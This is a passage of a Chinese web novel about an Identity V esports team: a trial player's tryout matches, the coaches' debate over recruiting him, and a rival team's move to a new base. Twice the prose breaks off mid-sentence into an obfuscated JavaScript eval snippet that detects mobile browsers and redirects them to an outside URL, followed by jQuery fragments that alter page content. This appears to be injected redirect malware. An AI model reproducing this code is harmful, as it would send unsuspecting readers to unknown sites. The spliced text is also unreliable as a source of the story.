四个ETC成员接连颔首，齐齐喊了声“经理好”，言时反应慢半拍没掺合上，只好礼貌性从众，僵硬地点了点头。 “不用这么客气，我不比你们大多少，叫我杨哥就行了。”杨弘和气地笑了笑。 他走得仓促，接到消息就马不停蹄地赶了过来，行李都没带多少，何总的死命令，这两天人必须到，后面要什么必需品随便说，财务全款报销给他寄过来。 上一个经理带头辱骂程肖还造谣人队孤立他，曝光后拔萝卜带出泥，牵连出以前一大串对待老成员的恶臭前科，桩桩件件都被各战队粉丝喷惨了，这事引起了那段时间的大清算，路过的狗都得挨两脚，谁也不想自家主队摊上类似这么个烂人。 巨大的舆论压力之下，何总半个月就炒了他，连夜把身在北方的“远水”杨弘调过来，不管怎样先救了近火再说。 ETC四人听了，又都喊了他声“杨哥”。 杨弘嗯一声，抬手看了手表，说：“现在还早，大伙各忙各的吧。” 他一句话说完，几人相互对视一眼，陆陆续续站了起来。 林屿觉出气氛有点尴尬，这也正常，毕竟杨弘刚来，关系是日久天长处出来的，不用急在这一时。 言时还想坐在原地，余简生使了个眼神，刚好和游言想一块去了。 他抬手从额角飞出个双指让队长放心，路过身边时抓住他后领一使力，轻而易举将人扯了起来。 “又不是没训练室，喜欢和脊椎玩生死游戏？” 言时看见他就烦，没好气说：“我就是个试训生。” 有的打不错了，还屁事忒多要这要那的。 游言：“试训生怎么了，试训生没骨头是吧？” 林屿也笑，对他说：“去熟悉下场地设施，七点钟安排训练。” 教练都发话了，言时自然无从置喙，他低低哦一声，站起身时，心率爬得有点激动，跟着游言去了训练室。 “新人？”杨弘问。 “不算，只能说在备选名单中，”林屿道，“北秋昨晚还帮我接了几个青训营的，好像刚出门下馆子了，正好今晚一起试了。” 他问杨弘：“来看吗？” 杨弘笑了下，“我还有交接工作，何总那边急着处理，下次吧，等我改完合同就来看咱们选手发挥。” “下次好，下次没准真能发挥，”林屿说，“今天别挥发就成。” “咋的，”杨弘道，“难道我接手的不是三冠二亚的IVL王牌战队？” 话说得好听，原冠军选手早就各奔东西，不再是当初那个配置了。 好汉都不提当年勇，更何况如今这个好汉的身上，连仅剩的一块好肉都在气息奄奄地辗转病榻。 确实挺亡牌的。 “这么说吧，”林屿说，“在这次夏季赛之前，我很少用屎来形容一支人队。” 8. 谁尽力谁犯罪 试训在晚上七点正式开始。 第一把是言时的个人单练，转会期训练不好约，林屿给他安排了七个人队队友和两个屠夫选手，这其中有六个属于ETC俱乐部的青训生，剩下三个则都是拿过S牌的榜前玩家。 青训生们之前和游言单练过，两个玩屠的接过来后也被陆明悦暴溜了一分多钟，除了言时的水平目前还看不出来外，其余人林屿都已经心里有数了。 八人二屠分成一队和二队，按照赛制打积分赛BO3。 在此之前，林屿把所有人拉了个群，让言时和两个屠夫选手先练一波来看看。 他和ETC其几个首发队员聚集在观战室，手里拿着本子坐在大荧幕前，左右墙上挂着显示屏，投放着选手本人的画面，可以听到不同队的队内沟通语音。 游言和陆明悦坐在后排，程肖安排完人员分配后也回来了，余简生最后一个到的，鼻尖发着不正常的红，陆明悦顺手就把喷雾剂递给了他。 人员到齐，林屿进入观战位，并把游戏画面投到电子屏上。 言时坐在训练室里调试耳机和设备，一转眼，门打开，走进来三个不认识的男生，依次在他左右两边坐下。 “倾诺是吧，”坐在首位的那个拿起耳机戴上，“林教让你先来把单练，我们等你。” 言时不知道这些队友是谁，但明显他们之间相互认识，嗯一声，接受了队内主屠的自定义邀请，两人进入房间开始选图。 他被分到了一队，和一队的屠练。 观战室里，游言看见一队屠秒选了红蝶这个角色，说，“绝活？” “榜前S3，”林屿道，“三台没追倒北秋，看看他溜咋样。” 他看言时换了心理学家，按上耳机说，“倾诺，第一次试训不要紧张，拿你熟练度最高的没关系。” 语音那边没吭声，只是屏幕上的角色又从心理学家换成了大副。 这个选角有点奇怪了，哪有人单练选无脑角色的。 程肖忍不住问，“这人打救人的？” “QR的七七推荐过来的，你说呢。”陆明悦看他一眼。 “那也不是这么玩，单练不就是得多拿牵制位吗，”程肖不理解，“还单搏命连飞轮双弹都没有，这不相当于从一个白板换成另一个白板？” “怎么舒服怎么来，你管他带什么，要像你带个飞轮，一整局按不出来一个，出刀就吃出刀就吃是吧？”游言说。 联赛破轮代言人程肖受不了自己的老婆被这么欺辱，无能哀嚎：“我不准你说他！！” 陆明悦：“谁说他了，说你的飞轮交得是史。” 程肖嚎得更大声了：“我的飞轮不是史！！！” 游言：“对，你才是史。” 余简生虚掩着脸狠咳了两声，嘴角上扬了一个像素。 “行了，看他比赛。” 红蝶底牌一刀带闪，大副大心脏加搏命，双方天赋角色都已锁定，地图选在唐人街。 一开局，言时刷在了大房旁边，这地图比较极端，大房基本上绕两圈就三台了，但要是运气不好在别的短板撞鬼，估计连下一个点都转不进去。 他一语成谶了。 没走几步，就在花坛电机旁边起了心跳，言时走位秀了一个蝴蝶断飞，趁着红蝶技能在冷却，操作着角色往大房楼梯转去。 唐人街高墙不多，拉点对红蝶来说还是很吃香的，一队屠熟练度很高，二楼栏杆缺口处一个盲飞预判落地，开局二十多秒拿到了第一刀。 “第一刀有点快了，”陆明悦说，“他为什么不交表保满血，吃闪就秒倒了。” 余简生静静看着屏幕，没发表任何点评。 半血，唐人街到处是大空地，平地交表很容易被蒙出来，这个节奏把搏命闷了，基本上就是屠方优势局。 言时被逼到了两个短板后面，一直在绕模型不下板。 “这个地方转不走了，”游言说，“除非他盖红蝶一个头——啊？” 他话还没说完，就见红蝶一个蝴蝶到了板子旁，被言时很极限地砸中了脚趾头，并趁着眩晕摇了个表转去高墙。 红蝶手都已经抬起来了，明显是刀气没有打出去。 “好铁的头，”程肖的眉毛一上一下，“我只能说角色正确。” “好想闪现，他好想闪现。” 游言很能和现在的一队屠感同身受，言时拉点时距离把控得很好，从来卡在一个很难受的位置，不给闪现身位，尤其身上还有两个表，没视野交闪就是白给。 两人在废墟高墙绕了三四圈，板子踩完了，言时一共交了两个表，带着剩下的遗产光荣去世。 林屿看了眼投降时间：“六十四秒，还可以。” “下把四个表，”程肖说，“不残血不会玩是吧？” 陆明悦：“交道具无脑，不交道具又gank人家上坟，好话全让你说了。” 程肖：“干嘛，现在不摇等你死了摇吗？” “开局被首追，留个表开门战用。”余简生终于开口，解释说，“至少不是没道具就秒倒，有基本功。” 言时的打法很公式，救人位被首追的话最后一个道具不到万不得已都得留着，除非大概率在钓鱼的监管真的动了杀心或者开局天崩，指挥位已经把这人当弃子用，才会让他大破产去吸引敌方火力。 言时退出单练，被同队的人邀请进入了组队。 “第一局上半场我们选图对面选边，他们屠夫先上，”坐在首位的那人似乎是队长，转头过来说，“你玩大副的，这把你救人行不？” 言时嗯一声，听着语音里其他队友的热烈讨论，什么都没说，把角色换成了佣兵。 二队主屠选了女巫，人队队员没事干都在观战，他们虽然不知道这次临时组队是要干什么，但都想在教练面前留下个好印象，拿的不是现在非ban必选的版本之子，而是熟练度优先的绝活屠夫。 第一局上半场由一队求生者对战二队监管者，女巫底牌一刀带狗，双方天赋区选完毕，进入地图圣心医院。 游戏开始，言时作为救人位选在了比较危险的女神像，而队里的囚徒一开局在医院二楼连了他的机，女巫刷在大门，不到一会儿，队里的勘探就开始报点了。 “蛇在小木屋，我起心跳了。” “原生从外面包过去的，别翻窗，直接走平地去木屋后废墟，看能不能送个寄生。” “我去了，原生包夹我，第一波先省个磁铁…吃刀了，我转医院囚徒快走。” “我在修两板一窗，你尽量别带过来。” “放狗了，我先交飞轮，先知记得看我。” 随着“当”的一声洪钟落地，原生信徒打掉鸟开出技能。 但勘探算错了距离，狗的最后一口没能下板卡掉，五秒之内又吃了第三刀。 “亏，”陆明悦说，“该留着下椅子给的。” “女巫的地下室，节奏起飞，这把屠夫保平争胜了。”程肖和他意见一致。 “佣兵卡满救一波，我和囚徒去补机子。” 队里的先知马上下了指挥，但女巫也没有贴脸守尸，血线过半后把原生调了出去，他知道佣兵开局刷在哪，现在就看排人了，找到卡耳鸣的人就能逼救。 “能不能躲一下，蛇来我这了，佣兵快去救人。” “原生不在只有楼下一个寄生，你直接跳下来。” 言时扯了会儿血线，女巫也不打他，就想打针对，两人面面相觑不时挪动一下，场面一度十分佛系。 因为人类在交互，比如进行翻板翻窗或者救人时被击中就会不论血量直接倒地，俗称震慑，这一刀要是被震慑，机没压好就救不下来了。 这算一个小小的博弈点，其实大家更愿意管这叫运气点。 救人震慑大多数时候与技术无关，因为需要人方救人的同时屠方出刀，虽说有救人动作作为校准参考，但既然在技术差距不大的情况下打出来，那基本就是缘分到了，只能说没博过对面。 眼看勘探马上就要飞天，言时假装掏哥实则松手，来来回回做了五六次假动作。 血线已经濒临顶峰，女巫时刻都处于一种“他马上就得救”的精神拉锯中，绷紧的弦被这么一挑拨，想打震慑的心超出了剩余所有理智，下意识一刀甩出—— 言时松手了。 他骗女巫打一刀自己，成功把人扯了下来。 血线卡得非常死，就差一根头发丝的宽度人就要飞天。 坐在椅子上的囚徒心里也不平静，言时和女巫不慌不忙地在拉扯，他的血量可是一去无回。 囚徒生怕言时迟迟不救，骗着骗着把自己也给骗了，最坏的结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923440|160388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果就是吃了刀，人却飞天了。 至于最好的，那就是现在。 即将淘汰时被人稳稳救下，这多巴胺的刺激指数简直不亚于吊桥效应，囚徒一落地，颤抖的声音都激动了不少，拔高声线亢奋报点。 “卧槽牛逼啊佣兵，走走走我的寄生，我帮你抗。” “佣兵弹护腕走，别给刀，双倒就四了。” 嘈杂的一队语音里只有三个声音在频繁报点，没怎么听见言时的声，大多数时候只有一声“嗯”，或者来一句“我被寄生了”。 游言抱臂呵一声，挑眉道：“这么不团队，昨天骂我不挺起劲吗？” 他说这话倒不是记仇，排位里的弱势屠夫能拿刀，大多数时候都是靠的信息差，在另一个队友不知道的情况下贴脸突袭。 但这种情况在四黑里是不会发生的，人类四人之间能无延迟地进行情报交流，通常是屠夫刚走就有人报点，其余所有队友都开始找安全位置，拿刀难度大大提升。 像言时这样和队友缺乏交流，很容易在关键时刻出大差池。 陆明悦：“他宁愿让勘探把这鸟浪费了，也不提一嘴留给自己保满血。” “你提会被人骂的，说你没理解，一溜不给鸟，别问我怎么知道的。” 程肖最近帮余简生上分一直被人演，他太懂这种单排的痛了。 现在这版本单排人类就是最底层生物，顶着俩变态监管的蹂躏，忍受着逆天队友的辱骂，胜率哐哐往下掉都要硬着头皮往上冲。 这种人是什么，简直就是顶级的M。 言时根本不在乎配不配合，也不关心他们多久倒地。 他只想留着道具苟到最后走地窖，他已经习惯了让自己少扣点分。 剩余一台满机减员，看起来有平的面。 但控场屠的最后一台机都不好开，尤其他们现在还全员半血。 时间来到四分多钟，囚徒飞轮没按出来被闪现追死，原生压住遗产机，逼得先知只能新开一台。 还好这囚徒不纯带了大心脏，倒地开机能重新恢复半血，言时卡着耳鸣，等他快修完时还能救一波。 这次他没躲好，被提前发现了，女巫底牌已经切了闪，眼看就要贴脸吃这一刀。 言时弹了最后一个护腕，从两信徒的缝隙间穿过赶到椅前，吃刀把人救下来，两人一起往外冲。 “好护腕，”队里的先知赶紧发话，“再撑一会儿马上压好了，96，97。” “他不会打的，囚徒别跑跟着我，等我倒地看他牵人，你交个电，无论打到我俩谁都直接开。”言时终于开口。 佣兵这个角色有延迟倒地的外在特质，在受到攻击后，伤害不会立即生效，而是会在4秒后才结算。 这也就是为什么他明明半血，却还能吃刀救人，但这不代表佣兵就是无敌的，只是能延迟四秒倒地罢了。 简单来说就是，言时现在虽然活着，但他已经死了。 先知愣了下，忙点头说：“好，囚徒赶紧去跟他。” 本已打算分开跑的囚徒听了这话，又连滚带爬地跑回来，蹲着苟住躲蘑菇。 女巫果然在等佣兵小搏命倒地，信徒过来牵起人的一瞬间，不知从哪冒出来的囚徒把他电麻了，他一看佣兵落地，下意识出刀就打—— 呜—— 像是防空警报般的尖锐嗡鸣响彻在三个人的耳边。 那一刀打中了囚徒，甚至让言时开门战保了个佣兵满血。 先知大心脏加速翻窗，十秒钟内就摸到了门，边开边说：“来小门，小门在点。” “地窖在大门废墟，心跳没了他没追我了。”囚徒说。 言时操控着角色在原地转圈圈，直到听到语音里一声急切的：“原生来小门了，蛇在我这里。” 言时：“门开了就走，能走吗？” 先知：“能能能，囚徒人呢囚徒？” “我有飞轮，他估计要交闪了…nice！我出门了，你能走吗？” 言时：“好轮好轮。” 囚徒逃脱的那一刹，站在地窖口的信徒随之消失。 女巫连忙把原生拉脱调回，可他还是迟了一步，信徒赶到时，顶着满头乌鸦的佣兵已经近在咫尺，他只赶得及在地窖口打了一刀尊严斩，目送言时跳了地窖。 三人三跑！ 9. 谁的打法不团队 游言：“真是一场酣畅淋漓的吃屎。” 前期的节奏爆炸性起飞，中途只要迷一波，最终结果都会让人大跌眼镜。 至多十分钟的对局，极易逆转的大好优势，永远猜不到走向的局势，以及习以为常的榜一输倒一，这就是第五人格。 这鬼迷日眼的游戏很看运气，除非双方意识操作一个天上一个地下，否则哪怕纸面实力全盘碾压，对局的胜利也不是压倒性的，甚至还可能因为地形因素被对面绝地翻盘。 顶级人类没法在空地上牵制，T0屠面对难抓的血牛也只能遗憾离场，很多时候大伙口中的“吃屎”并非辱骂选手操作不行，而是在嫌弃他们抽象了一整局的迷惑行为。 下半场双方换边，林屿把二队人队和一队屠邀进了房间。 屏幕上展现出上一局的人屠数据，女巫一抓倒地的时间刚刚一分钟出头，电机满打满算两台多一点。 这个节奏对于控场屠来说有多抓的面，可惜地下室那波守尸没能滚起雪球，反而开门战晕头转向，让人队抓到机会挣了个多跑。 “人队首先突破，一队屠只要保平，这局大小分就拿下了。”程肖往嘴里塞了个小糯米团，声音黏黏的。 D5和一些传统联赛不一样，赛制中是有平局的，当队友上半场拿下胜利，下半场只要保平，整局依旧是判给胜场的那一方。 二队想赢就要争多跑，如果被一队屠顶住了，第一局的比分就是5：3，后两局得还一个3：5回去，而一队只需无脑保平，胜利就是属于他们的。 经典流氓打法，比分占优的情况下，BP和选角都很难做。 “那个护腕让他救下来要了命了。”陆明悦评价说。 余简生：“5：3不是很难翻，看一队屠怎么打。” 对于联赛来说这个差距确实不大，但民间或者青训队的打到后面基本就全平，所以第一把拉开的分值很重要。 选出来就保平的屠有很多，关键是他角色池怎么样。 比赛进入BP画面，一队屠上来就按掉了先知和祭司，医院本身是人类优势图，红蝶又是单刀角色没有控场，前期很怕被他们拖时间，磨出修机加速就全面崩盘。 二队人队先手抢了心理学家和拉拉队员，把这两角色送进了全局BP。 一队屠明牌打红蝶，大家知道他的绝活，拿的全是能克制单刀的打团型英雄，并选出了勘探员和击球手，既能打又能抗，攻击性超强，显然就是想拼。 “有没有艾维，选出来杀完了。”游言说。 这阵容对上他的角色池特别吃香，对红蝶来说却很不友好。 歌剧艾维金身安，随便一个拿出来都能压着对面打，可惜一队屠不会玩。 别说他一个屠夫高玩，就连头脑简单的类人程肖都眉头紧锁。 “这阵容玩红蝶不纯纯坐牢吗，两三个结伴往医院里一蹲，机子开完是迟早的事。” 话音刚落，就见观战画面上角色锁定，一队屠不负众望，果然选了红蝶。 “真玩啊？”程肖牙疼似的嘶一声，已经能预见接下来的对局有多痛苦了，“那只能带金身底牌，看看能不能保平。” 顶着这种局都要拿自己的信仰，绝活玩家真是没谁了。 “除非秒杀，不然不好平，”余简生突然说，“不管追谁，一救下来两个OB位轮流打团，拖够五台机再救一波就是四人开门战。” 金身都不一定交得出来两个，开门战要留着底牌换传送，否则怎么打都是三跑。 倒计数结束，双方选手区选完毕，进入屠方主视角游戏画面。 “当然，如果人队犯病，那就当我没说。”余简生凝望屏幕，又补充了一句。 他只单纯地分析BP，不把失误的因素考虑进去，毕竟比赛时不能指望靠敌方突发恶疾来取得胜利。 陆明悦对队友的讨论充耳不闻，丢了块栗子糕入口，又听程肖嘟囔着牢骚了一句。 “非要打红蝶吗，掏个守尸屠用脚玩都行。” “不是他不想打，”游言说，“是他打不了。” 但凡他的歌剧演员有一点熟练度，也不至于一点都没有。 溜鬼，修机，救人，人类的基本功是相通的，会一个相当于会全部。 但监管不同，每个角色的技能大相径庭，使用的方式也各不一样，训练成本和人类根本没法比。 这也就是为什么屠夫好找屠皇难求，同时拥有好几个绝活且拿出来就能争胜太难了，角色没熟练度就是送，四跑都并非毫无可能。 作为一个监管玩家，一队屠肯定会玩歌剧，但也仅限于会的程度，虐虐菜可以，实力相近掏出来就是在找死。 他的选择没问题，与其掏一个婴儿歌剧出来丑陋地空刀断影，不如硬着头皮相信绝活。 林屿：“这把打了吧，下把就没有了。” 下把人队会把他的红蝶BAN掉。 所谓BO1战神，说的就是这些单一屠。 观战室几人几句话之间，游戏已经来到了三十多秒。 如他们所料，红蝶带的是金身，首追拉拉队员。 第一刀其实拿得算快，但拉拉吃刀后开个加速冲进了医院，其余三人在修机没来干扰，导致他的金身捏在手里一直用不出来。 医院绕了一圈跳窗，勘探又来吸了两个磁铁，帮助队友转点。 一队屠看她跑进二楼就不想抓了，干脆亮金身打了勘探一刀换人。 此时时间过去一分四十多秒，场上还没一个人倒地。 角色克制是这样的，大家心里跟明镜似的，真正的折磨才刚刚开始。 眼看最后两台机都开始起了，红蝶还在废墟和医院和勘探击球打架，一个窗口翻了无数遍，刚进行交互就被击球击退，拉拉不时给两人上个振奋减CD，一通组合拳打得屠方没脾气。 陆明悦看不下去了，起身说：“我去上个厕所。” 他刚走，一队屠就击倒了勘探，时间来到三分多钟，全场没人上过挂，接下来只要不出意外，救两波四人开门战，还真有可能被他们三了。 游言明显看到右屏下方显示的一队屠脸上戾气横生，不仅失去了刚开赛时的开朗，连说他要跳起来杀人都没人不信。 “受不了，简直是凌迟。”不仅他打得很难受，观战的程肖看得也很难受。 本以为二队都要拿下了，但由于前期四个人的状态打得太残，抢时间修机没能互相治疗，导致现在场上没人能救人。 一队指挥做了个错误的决定——让半血的心理压好机后吹哨给击球，自己再从另外半张地图赶过来压机。 言时一看心理倒地就知要坏，眉头蹙了蹙，“这打的什么，直接亮不就行了。” “他们要争多跑，想赌这一把。”一队指挥神情严肃，没人知道他桌下交握的双手已经紧得指尖发白了。 程肖：“机会，找到击球逼他救，这把能平。” 这话耳熟，余简生转眸，目光不轻不重扫过游言。 游言知道他在指桑骂槐，超绝脱敏线条，大大方方挑眉哼笑，“想当英雄，就这么不信任自家队友？” 实在三不了平也行，比分交给下一把再逆转。 这种打法明显是想把所有担子揽在自己身上，酷则酷矣，一旦失控，面临的就不止是三抓这么简单了。 “一刀斩带闪留不下一个，你让他们怎么信任？”程肖说。 几句话说完，一队屠把击球打成半残，他必须救了，再不救没机会了。 队友下椅子的同时被一刀a死，击球强摸也没能撑到队友赶到，最终挂飞一人时电机点亮，红蝶底牌切传，成功在门口捞了一个。 “普通的平局变成了复杂的平局。”游言道。 虽说惊险地保持住了优势，但明眼人都看得见打得多吃力。 没办法，明牌绝活容易被BP针对，能打成这样很不错了。 第一局如预期的那样5:3，一队以2分优势进入第二局。 由于双方屠夫都在BO1展示了自己的主力屠，所以BO2无一例外地都被对面人队禁用了。 第二局稍好，有副屠顶上，打了个长平之战，比分同样一队优势。 但第三局就完全是厨王争霸，双方你来我往互秀厨艺，打得非常下饭，林屿认为没有看的必要了，宣布一队胜利，结束了今天的试训。 “今天就到这，基地要开始训练了，你们自由安排时间。” 语音里传来林教的官方式通告，训练室里，大家齐齐吐出一口气，紧绷的神经总算能放松下来。 虽说没打多久，但感觉比平时排位两小时还要累。 “哎，以前没见过你，从哪来的？” 言时刚摘下半边耳机，就被他左手边的男生兴致勃勃地用手肘顶了顶，好奇问：“你认识林教吗，我看他好像很关照你。” 一瞬间，七七笑着的脸闪过言时眼前，他盯着这人示好的神情，不知怎的心底一悸，像被当场抓包的小偷一样。 腾的一下，白嫩的耳根子全红了。 言时：“我……” “对啊，青训同期没见过，前几次试训也没你这人，肯定是林教特邀的吧，介意说说是榜上哪个大佬的马甲不？” 其余两个队友也凑了过来，璨璨发光的眼神里写满了机遇二字。 他还在思考该怎么开口，耳机里又传来林屿淡淡的一声：“倾诺，你来二号训练室一下。” 言时：“……” 这句话是林屿只发给他一人的，但由于耳机掀开了半截，那人又凑得近，于是全被他听到了。 “你，”那人睁大了眼，“你刚来一次就入选了？” 其余两人纷纷侧目，投来的全是夹杂着惊愕的羡慕眼光：“什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923441|160388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入选，他被ETC看上了？” 那人：“没，就是林教喊他单独去二号训练室。” “我靠，都叫你去职业训练室了还不叫选上，牛逼啊哥们，你运气真好。” 只不过寥寥几句，耻得言时耳后连带着整个后颈全都红了，他不想在这再待下去，蹭的一下起身道：“我先走了。” 逃也似的夺门而出。 “诶，别急着走啊兄弟，同在一队也算缘分，能不能帮个忙，把我们给林教引荐一下？” 那人在身后高喊，见言时头也不回，又不死心地补了句：“别的俱乐部也行啊，我不挑的！” 言时充耳不闻，冲进洗手台打开水，狠狠泼了脸上两捧，在水声哗哗中深呼吸着。 冷水缓解了些许焦狂的躁热，他抬起眼，这才透过从睫毛滑落的水珠间，看清镜子里自己那令人恶心的，抑制不住的笑意。 林屿叫言时过来有他自己的思量。 全是民间高手，实力相差无几的情况下，谁发挥最亮眼毋庸置疑。 虽说两个屠打得中规中矩，但毕竟他们缺的不是主屠，有大把的人选在后面等着。 “过些日子就要提交深渊参赛人员名单了，上了名单就板上钉钉，人改不了，但可以轮换，” 林屿点了根烟，虚坐在沙发背上转头，“你们怎么想，再挑挑？” 陆明悦刚看完录像，洗了脸甩干手上水珠，一脸冷漠地戴上眼镜，不置可否。 他倒不是装高冷，是觉得关于这个话题，轮不到自己出气。 程肖哪敢说话，他自觉没资格评判言时的操作，更没胆量置喙言时的去留了。 林屿：“放屁呀，一个两个的，你们打还是我打？” 训练室沉默了好一会儿，最终还是游言打破了死寂。 “什么怎么想，”游言道，“你还真打算从青训选人？” 教练初选通过，试训大家也看了，意识和其他人不在一个档次，这还有什么好说的？ 言时现在是没受过赛训，许多抉择尚有漏洞，但比起那些埋头乱打的人，游言更愿意去造就一个可塑之才。 “赛事组那边没消息？”余简生问。 林屿叹了口气，“最近没什么人队选手转会，QR和IL虽然输了，但他们的精彩表现有目共睹，人不是想买就能买的。” 游言冷笑：“只有脑残才会把冠军选手卖出去。” 说的就是先前那个脑干缺失的老板，为了赚钱，一支战队的根都不要了。 余简生咳了两声，慢慢放下手，缓着气说，“熟练度意识都有，近期有约练安排吗？” 林屿：“我找了些强力战队，目前只约到THS和YC。” 他话没说开，但言下之意所有人都明白。 ETC夏季赛一轮游，加之游言乏力，人队缺人，现在谁都把他们当弱队血包看待，约林屿就是在帮ETC免费训练，打不打穿还是两说，关键得不到什么提升。 “那确实，人家KS才是各家战队的假想敌，估计现在，虚伪的门槛都被踩烂了吧。” 游言自嘲一笑，不知为何，鬼使神差地想起来金雨里那个逆风生长的少年。 一股不甘心交杂着嫉妒与渴望的堵塞感一蜂窝冲上喉口，后劲十足地烧得他心口发涩。 “THS不弱，”余简生说，“到时把他叫上一起。” 夏季赛他们就是被THS抬走的，哪里跌倒就要在哪里站起来。 林屿：“让倾诺打约练？” 余简生：“嗯，今天这一两把看不出什么。” “行，”林屿点开手机，“我和他们教练报备一下，约个日子。” 他刚叼上烟，门外响起脚步声，一转眼，言时已经到了。 他端着杯水，脸轻微发着红，有些恍惚，又有些惆怅，说：“林教。” 林屿冲他笑了下，还没说什么，就听言时又开口，说：“他们问我是不是认识你。” 林屿微怔，听闻此话，训练室其他人也都对视一眼，转头看向他。 这个问题，在来ETC的路上，言时已经问过游言了，但他就是贱，当着林屿的面又问了一遍。 林屿大概明白他的意思，“你觉得我在给你开后门？” 言时盯着他，点头。 真的是小孩子。 社会上的事是一句人脉就能解决一切的吗？ 林屿无奈一笑，未成年在场，把烟掐灭了。 “狗子，你告诉他。” 游言挠挠头，呼出一口气起身。 “小屁孩，一句话翻过去翻过来炒冷饭，有完没完。” 他一把拍上言时的头，俯身下来，和这双年轻的眼睛四目相对。 “你可以不相信我，但你要相信七七的眼光。”游言说。 “是他在那么多人之中，一眼就看到了你。” 10. 这辈子算是完蛋了 这天晚上七点，KS旧基地准备度过最后一日的通宵。 单嘉把两大包私人物品提下楼放好，想起来什么，冲着楼上一抬头：“棋棋，我头粉送我的那个妖娆花呢？” “我哪知道，你官方玩具到处都是，哪个呀？”时艺喘着气的声音从阁楼最里头传来。 他在抓俱乐部里养的猫，这是最后一只了。 D5赛事在下午两点进行，一般不会超过十点，但要根据当天的实际情况来看，有加赛可能会打到凌晨。 职业选手会进行赛训，在这段时间内保持最好的状态，这些猫整天跟着他们熬夜，今天太早休息了，一个两个的都不愿进笼子憋屈自己。 单嘉：“就按一下就能扭，会唱晚安IVL的那个。” “找到你咯，美味的小孩…我草！” 面对张开两只大手的恐怖直立猿，小橘猫炸起脑后的一簇簇毛，惊叫一声，后腿发力，圆滚滚的肉球从地面弹射起飞—— 一头撞在了时艺的肚子上。 他连忙一把抱住，忍着爪子挠破衣服的惊悚感，没好气地冲毫无眼力见的队长吼了一嗓子。 “晚你大坝，你那些时尚小垃圾都把后备箱塞满了，还他妈要带，我和伪酱怎么办！” 声音无语里透着烦躁，烦躁里还夹着一丝怒火。 单嘉微愣，不知道他生哪门子的气，这问题很难解决么？ “你们走过去不就行了？” 时艺抱着猫几步赶出来，带着满身的猫味抓起一个毛毛虫玩偶就往下摔。 “吃屎去吧你。” 单嘉单手接住，右眼一闭，“布灵”出一颗星星，两指冲他比出爱心：“拉我嘴里。” 时艺做了个呕吐的动作，把小猫放进了提前买好的定制背包笼里。 打开门，屋里五个笼里齐刷刷投过来五双绿莹莹的目光，接连喵叫了几声，期期艾艾甚是可怜。 “再忍忍宝贝们，”时艺说，“明天带你们去看海。” 新老板叫来的两辆大车已经停在楼下，大部分东西都收拾好，就等明天一早启程换新家了。 这老板家财万贯，在电竞圈许多游戏都有投资，杭城少说有十几处房产，听说他们夺冠，一激动，就要把大伙接去海边，那边离他住所近，说有时间就过来看看各位宝贝。 江柏才来半年多，没多少要搬走的，他倒是无所谓，正好把位置让给队友。 反倒是老东西单嘉，这个舍不得那个也不想丢，时艺和他分到一车真是倒八辈子血霉了。 忍一时风平浪静，退一步越想越气。 时艺一脸不爽地打开门，砰的一声，一只涂着烈焰红唇，脸挂大墨镜的向日葵猛的弹到他眼前。 单嘉按动开关，七彩的土味灯光顿时闪耀，自发光地包裹了扭得矫揉造作的妖娆花。 “大小姐，”它遗憾地低下自己的花头，“It''stimetogotoIVL。” 时艺面无表情地握着把手。 “又在打排位啊？红温的话，胜率可是会变差的。” “这是最后的警告，”妖娆的花叶捂上墨镜，底下的绿杆左甩右凸，“再不看比赛的话，KS就要做饭了哦。” 音乐停顿了一秒。 “哎呀哎呀，”单嘉的脸从花后面露了出来，惋叹着摇摇手指，“真是拦不住的大小姐。” 时艺一下子笑喷了。 “我拦你马个头！” 外面咣当一声巨响，想都不想就知道单嘉又在对时艺犯贱。 砰砰砰的闷捶声从楼上经过楼梯一路打到了楼下，一会儿是时艺的“我测你马”，一会儿又听到单嘉的“别测我的马测我”，时艺一笑就没力气锤人了，抓着毛绒玩具朝单嘉猛猛砸。 叫声和笑声接连不断从四面八方传来，吵得闭目养神的沈哲倒吸一口冷气，气冲冲地一把抓下眼罩。 “鬼叫什么，还没到半夜就鬼门大开了是吧？” 他原本坐没坐相，把双腿架在桌沿，仰在电竞椅上睡觉，一连串爆破把耳膜都炸烂了，本来昨天通宵打关就死了几百次，现在脑袋胀痛得越发上火了。 怀着满肚子怨气睁开眼，尚还模糊的视野里映入一个人的轮廓，只见元虹，真名计少庭坐在他对面，正横着手机不知道在点什么，而两人面前的显示屏指示灯亮着红，正处于休眠模式。 沈哲打了一夜的魂系boss挂着机，受此惊吓瞬间清醒，不管三七二十一跳起来，连带着撞上枪口的计少庭一起骂了。 “我靠，谁叫你把我的电脑关掉的，神经啊，我打了三十多个小时还没存档呢，青雨元虹我真是草饲——” “我叫的。” 这冷静而熟悉的声音铿锵落地，伴随着计少庭抬头，将一派不忍的眼神落到自己身上。 沈哲心里咯噔一下，艰难地移动目光，向一旁的沙发看去。 一个穿着黑色常服的男人坐在那，翘着二郎腿单手插兜，说完一句后放下手机，一双深邃的眼睛悠悠地望了过来。 “你要草谁？” 见此，沈哲用惊恐的眼神向计少庭询问：狗元虹，你怎么不叫醒我？！ 计少庭亦用无语的眼神进行回复：你猜我手机为什么是横屏的？ 没办法，眼下这个情形，只能卖尊求荣了。 “呦呵呵呵教练呀…您坐，哦不是，您站，也不对……” 